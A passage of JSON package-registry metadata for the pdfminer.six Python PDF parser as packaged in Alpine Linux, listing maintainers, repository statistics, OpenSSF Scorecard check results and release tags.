ue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":319,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2024-06-12T01:23:52.521Z","updated_at":"2024-06-12T01:23:52.521Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-04-27T18:20:23.245Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":10345139,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"20231228-r1","last_synced_at":"2026-04-01T02:07:15.739Z","created_at":"2024-06-11T10:17:34.351Z","updated_at":"2026-04-01T02:07:15.739Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/